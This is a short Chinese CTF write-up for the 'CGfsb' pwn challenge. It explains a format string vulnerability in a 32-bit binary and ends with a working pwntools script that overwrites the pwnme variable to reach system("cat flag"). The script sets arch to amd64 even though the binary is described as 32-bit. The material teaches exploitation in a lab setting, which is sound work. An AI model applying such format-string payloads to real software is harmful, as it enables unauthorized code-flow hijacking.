分析程序漏洞
-
32位的程序,有 Canary 防护措施,栈不可执行技术
-
由于没有开启PIE,可以通过格式化字符串漏洞直接修改存在于
.bss
段的pwnme
变量的值为8
,从而劫持程序执行流,执行system("cat flag);
语句,获取 flag
-
接下来 ,我们需要通过动态调试找到
输入的字符串
相对于格式化字符串
的偏移在 printf(&s); 处下断点,输入一些容易识别的字符串,方便找到偏移量
可见,格式化字符串的偏移为10,而且 pwnme 变量的地址没有截断字符 \x00 , 可以将 pwnme 变量的地址直接放在前面
利用程序
from pwn import *
context(arch = 'amd64')
context(log_level = 'DEBUG')
context(terminal = ['deepin-terminal', '-x', 'sh', '-c'])
io = process('./CGfsb')
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + b'AAAA' + b'%10$n'
io.recvuntil(b'your name:\n')
io.send(b'HHHH')
io.recvuntil(b'message please:\n')
io.sendline(payload)
io.interactive()